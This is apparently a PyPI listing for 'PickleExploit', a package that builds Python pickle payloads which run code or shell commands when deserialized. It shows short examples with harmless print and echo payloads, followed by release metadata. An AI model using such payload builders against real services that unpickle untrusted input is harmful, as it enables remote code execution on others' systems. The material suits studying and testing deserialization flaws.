PickleExploit
Description
This package implement a Pickle Exploit Builder.
Requirements
This package require :
- python3
- python3 Standard Library
Installation
pip install PickleExploit
Examples
- Code for python paylaod:
pyexploit = PyPickleExploit("print('je test', 'test2')")
pyexploit.build()
exploit_pickled = pyexploit.get_pickle_payload()
pyexploit.execute_payload()
- Output:
je test test2
- Code for command paylaod:
shellexploit = ShellPickleExploit('echo je test')
shellexploit.build()
exploit_pickled = shellexploit.get_pickle_payload()
shellexploit.execute_payload(exploit_pickled) # write "je test" and return the command error code (0)
- Output:
je test
0
Links
Licence
Licensed under the GPL, version 3.
Metadata
Release files for PickleExploit 0.0.1
For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.
Source distribution (sdist)
| File | Size | Uploaded | |
|---|---|---|---|
| PickleExploit-0.0.1.tar.gz | 19.8 kB | Details |
Release files / PickleExploit-0.0.1.tar.gz
| Download URL | PickleExploit-0.0.1.tar.gz |
|---|---|
| Size | 19.8 kB |
| Tags | Source |
|
SHA-256 checksum How to use checksums |
140cab94b29639d4b308ef4aa356f17e5e14db7f604b05426cfe2bebd09273e3
|
|
BLAKE2b-256 checksum How to use checksums |
bbd8edf21dde70d0585be6ddecac69f5e2c1bd9120c5036f9c06a44c567a043d
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
No |
| Uploaded via |
twine/3.2.0 pkginfo/1.6.1 requests/2.25.0 setuptools/51.3.3 requests-toolbelt/0.9.1 tqdm/4.54.1 CPython/3.9.1+
|